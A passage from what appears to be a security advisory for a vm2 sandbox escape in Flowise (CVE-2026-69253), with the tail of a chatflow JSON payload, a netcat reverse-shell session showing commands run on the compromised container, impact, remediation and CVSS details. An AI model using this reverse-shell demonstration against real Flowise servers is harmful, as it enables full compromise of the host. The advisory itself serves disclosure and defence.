Runnable\"}],\"outputs\":{},\"selected\":false,\"type\":\"AgentExecutor\",\"version\":2},\"dragging\":false,\"height\":492,\"id\":\"toolAgent_0\",\"position\":{\"x\":1078.1036951401863,\"y\":523.9186243849886},\"positionAbsolute\":{\"x\":1078.1036951401863,\"y\":523.9186243849886},\"selected\":false,\"type\":\"customNode\",\"width\":300}],\"edges\":[{\"id\":\"agentAsTool_0-agentAsTool_0-output-agentAsTool-AgentAsTool|Tool-toolAgent_0-toolAgent_0-input-tools-Tool\",\"source\":\"agentAsTool_0\",\"sourceHandle\":\"agentAsTool_0-output-agentAsTool-AgentAsTool|Tool\",\"target\":\"toolAgent_0\",\"targetHandle\":\"toolAgent_0-input-tools-Tool\",\"type\":\"buttonedge\"},{\"id\":\"bufferMemory_0-bufferMemory_0-output-bufferMemory-BufferMemory|BaseChatMemory|BaseMemory-toolAgent_0-toolAgent_0-input-memory-BaseChatMemory\",\"source\":\"bufferMemory_0\",\"sourceHandle\":\"bufferMemory_0-output-bufferMemory-BufferMemory|BaseChatMemory|BaseMemory\",\"target\":\"toolAgent_0\",\"targetHandle\":\"toolAgent_0-input-memory-BaseChatMemory\",\"type\":\"buttonedge\"},{\"id\":\"chatOpenAI_0-chatOpenAI_0-output-chatOpenAI-ChatOpenAI|BaseChatOpenAI|BaseChatModel|BaseLanguageModel|Runnable-toolAgent_0-toolAgent_0-input-model-BaseChatModel\",\"source\":\"chatOpenAI_0\",\"sourceHandle\":\"chatOpenAI_0-output-chatOpenAI-ChatOpenAI|BaseChatOpenAI|BaseChatModel|BaseLanguageModel|Runnable\",\"target\":\"toolAgent_0\",\"targetHandle\":\"toolAgent_0-input-model-BaseChatModel\",\"type\":\"buttonedge\"}],\"viewport\":{\"x\":372.22296982366913,\"y\":-109.94336492566799,\"zoom\":0.8069922237942956}}"}
  1. Send a chat message using the Chatflow and observe the reverse shell payload being executed outside the vm2 sandbox, as shown in the terminal output below.
$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 172.17.0.2 45533
id
uid=1000(node) gid=1000(node) groups=1000(node),1000(node)
ls -al
total 36
drwxrwxr-x    1 node     node          4096 Apr  9 07:49 .
drwxrwxr-x    1 node     node          4096 Apr 11 10:03 ..
-rw-rw-r--    1 node     node            21 Apr  9 07:49 .gitattributes
-rwxrwxr-x    1 node     node           419 Apr  9 07:49 dev
-rwxrwxr-x    1 node     node            30 Apr  9 07:49 dev.cmd
-rwxr-xr-x    1 node     node           143 Apr  9 07:49 run
-rwxrwxr-x    1 node     node            30 Apr  9 07:49 run.cmd
cd /usr/src/flowise
ls
CODE_OF_CONDUCT.md
CONTRIBUTING.md
Dockerfile
LICENSE.md
README.md
SECURITY.md
artillery-load-test.yml
assets
docker
i18n
images
metrics
node_modules
package.json
packages
pnpm-lock.yaml
pnpm-workspace.yaml
turbo.json
cat .git/HEAD
ref: refs/heads/main
cat .git/refs/heads/main
dddfb3c90eec900d747790a439bd362a764039cd <1>

<1> Confirmation that the sandbox escape impacts Flowise commit dddfb3c90eec900d747790a439bd362a764039cd.

III. Impact

This sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise that uses the default vm2 sandbox, resulting in full compromise of the application.

IV. Solution

The current maintainers of the vm2 sandbox strongly advise against executing untrusted code within it due to security risks (https://github.com/patriksimek/vm2?tab=readme-ov-file#important-security-disclaimer). To prevent JavaScript sandbox escapes in Flowise, a more secure alternative, such as https://github.com/laverdet/isolated-vm, should be used.

Updating to the latest version of vm2 sandbox will not patch this sandbox escape vulnerability.

V. References

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity High
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CVE ID

CVE-2026-69253

Weaknesses

Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. eval). Learn more on MITRE.

Credits